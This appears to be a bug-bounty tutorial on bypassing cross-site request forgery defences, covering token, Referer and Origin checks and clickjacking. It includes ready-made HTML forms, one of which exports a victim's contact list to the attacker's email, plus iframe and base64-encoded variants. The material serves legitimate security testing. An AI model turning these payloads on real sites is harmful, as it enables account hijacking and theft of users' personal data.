Other vulnerability types

Learning about Cross Site Request Forgery & bypassing protection


Cross Site Request Forgery (CSRF) tokens are designed to stop a request from evil.com from being submitted secretly to hijack your account on example.com. This may be done via a hidden <form> or perhaps just an <img> tag. An example of this would be Facebook implement CSRF by using a value called fb_dtsg, and the general purpose is you can only do an action (such as update your email) if a valid fb_dtsg value is sent with the request. Unless the attacker has XSS and the fb_dtsg value is present somewhere in the HTML, no attacker can get this unique value and spoof a request when you visit their malicious site. Whilst it seems straight forward to prevent CSRF sometimes developers opt for a different approach. In this tutorial i'm going to describe interesting bypasses i've found and common problems developers make.


The site has a CSRF token, must not be vulnerable..

..think again! One bounty program I tested in the past had CSRF tokens on all their requests. Literally every action you did a CSRF token was sent with it. "must not be vulnerable!" you may think. The bypass was actually extremely simple and made use of clickjacking. When updating the email of my account, sending a blank csrfToken value would actually cause the changes I wanted to make to be reflected but with an error: CSRF_token is invalid. Please submit again.. Take note what I say there. The changes I attempted to make were reflected, but weren't saved. The email hadn't successfuly updated, but it had been reflected back on the page.

Thanks to the lack of X-FRAME-OPTIONS, I was able to submit the request to update email, then iframe the result and clickjack the user into forcing a click onto "submit". The email on that users' account is then modified to mine without them realising.


Other common ways to bypass CSRF tokens

  1. Blank CSRF token Extremely simple, just try send a blank CSRF value and see if they validate it server side. Don't forget to also see if the changes you tried to make are reflected back on the page. Combine this with clickjack and you have a potential site wide CSRF issue! Don't forget to try changing the request from POST to GET (and vice versa) and seeing how they handle the request. Sometimes it really is that simple and I have found lots of bypasses via this in the past.

  2. Sharing CSRF tokens I've had cases where aslong as the users session is valid, that users CSRF token can be shared upon any other account. Create two accounts and see if you can share csrf tokens between them. Think about public wifis and users sharing csrf tokens.. hmm?

  3. Change one character Sometimes a site will only check the length of a CSRF token (silly I know..). Try change one character (so it's the same length) and see what happens. You'd be surprised!

  4. Using .swf files https://www.twitter.com/avlidienbrunn made a great report about using .swf files for CSRF: "https://hackerone.com/reports/44146">https://hackerone.com/reports/44146 - no words needed, let the report do the talking!


Can you CSRF a JSON&XML payload?

Sure you can! This one might require some playing, since you have to make use of the the "=" character somewhere sometimes (if they are validating it's valid JSON server-side). Below is the HTML I use for XML posting

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="<foo> <html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script>alert(1);</html:script> </html> </foo>">
         <input type="submit" value="submit"> </form>
     </body>
  </html>

And JSON posting (the example provided below i a poc I used for exporting a users contact list on a bounty program)

<html>
     <body>
        <form ENCTYPE="text/plain" action="http://vulnsite.com/snip/snippet.php" method="post"> 
        <input type="hidden" name="{"params":{"limit":20,"and":false,"filters":[],"excluded_contacts":[]},"fields":["First Name","Last Name","Email Address","Title","Notes","Organization","Street","City","State","Tags","Zip Code","Phone Number","Gender","Event ID","Event Title","VIP","Twitter Handle","Twitter URL","Twitter Followers","Twitter Following","Facebook Name","Facebook URL","Facebook Friends","Instagram Handle","Instagram URL","Instagram Followers","Instagram Following","Website","Date Added","Unsubscribed"],"recipient":"myemail+2" value='@gmail.com'>
         <input type="submit" value="submit"> </form>
     </body>
  </html>

Notice how i'm making use of the = character in the second request in the email parameter? Thanks to the way google mail works, an email sent to [email protected] will actually go to [email protected]. Some websites as mentioned above will require the postdata to be valid JSON, so having it end with }= will cause errors sometimes. This is because you are naming the input as the payload and post data works as parametername=parametervalue. Try and make use of the = character so your payload doesn't end with it. It should always end with } to close the JSON payload.


CSRF protection via referer

I've seen sites check the if the Referer is their site, and if yes then allow the request. If no then lock the request. An interesting approach to stopping CSRF attacks and with this bypasses are created.

  1. https://www.yoursite.com/https://www.theirsite.com/ Some sites only check if it contains their website url, meaning we can just create a file/folder on our site to send the CSRF request from.

  2. Send a blank referer Submitting a form inside an iframe will actually give you a blank referer and sometimes this is enough to bypass their protection. This is because some developers are checking for if the referrer header is found and then executing the anti-csrf code. If no referrer is found, no code is executed. This is where as you are hunting you can spot bad coding practise because usually this type of issue exists throughout. If a certain condition is met, then execute.

<iframe src='data:text/html,<html><form action="/login.php" method="POST">
<input type="text" name="user" value="zseano">
<input type="submit">
</form>'></iframe>
  1. Submit a blank origin & blank referer This will only work on Firefox but if base64 encoded your form above and then submitted it inside an iframe, the Origin header is set to null, or sometimes not sent at all. Some sites will only check if the header is present ;)
<iframe src=data:text/html;base64,PGh0bWw+CiAgICAgPGJvZHk+CiAgICAgICAgPGZvcm0gRU5DVFlQRT0idGV4dC9wbGFpbiIgYWN0aW9uPSJodHRwOi8vdnVsbnNpdGUuY29tL3NuaXAvc25pcHBldC5waHAiIG1ldGhvZD0icG9zdCI+IAogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InsicGFyYW1zIjp7ImxpbWl0IjoyMCwiYW5kIjpmYWxzZSwiZmlsdGVycyI6W10sImV4Y2x1ZGVkX2NvbnRhY3RzIjpbXX0sImZpZWxkcyI6WyJGaXJzdCBOYW1lIiwiTGFzdCBOYW1lIiwiRW1haWwgQWRkcmVzcyIsIlRpdGxlIiwiTm90ZXMiLCJPcmdhbml6YXRpb24iLCJTdHJlZXQiLCJDaXR5IiwiU3RhdGUiLCJUYWdzIiwiWmlwIENvZGUiLCJQaG9uZSBOdW1iZXIiLCJHZW5kZXIiLCJFdmVudCBJRCIsIkV2ZW50IFRpdGxlIiwiVklQIiwiVHdpdHRlciBIYW5kbGUiLCJUd2l0dGVyIFVSTCIsIlR3aXR0ZXIgRm9sbG93ZXJzIiwiVHdpdHRlciBGb2xsb3dpbmciLCJGYWNlYm9vayBOYW1lIiwiRmFjZWJvb2sgVVJMIiwiRmFjZWJvb2sgRnJpZW5kcyIsIkluc3RhZ3JhbSBIYW5kbGUiLCJJbnN0YWdyYW0gVVJMIiwiSW5zdGFncmFtIEZvbGxvd2VycyIsIkluc3RhZ3JhbSBGb2xsb3dpbmciLCJXZWJzaXRlIiwiRGF0ZSBBZGRlZCIsIlVuc3Vic2NyaWJlZCJdLCJyZWNpcGllbnQiOiJteWVtYWlsKzIiIHZhbHVlPSdAZ21haWwuY29tJz4KICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9InN1Ym1pdCI+IDwvZm9ybT4KICAgICA8L2JvZHk+CiAgPC9odG1sPg==>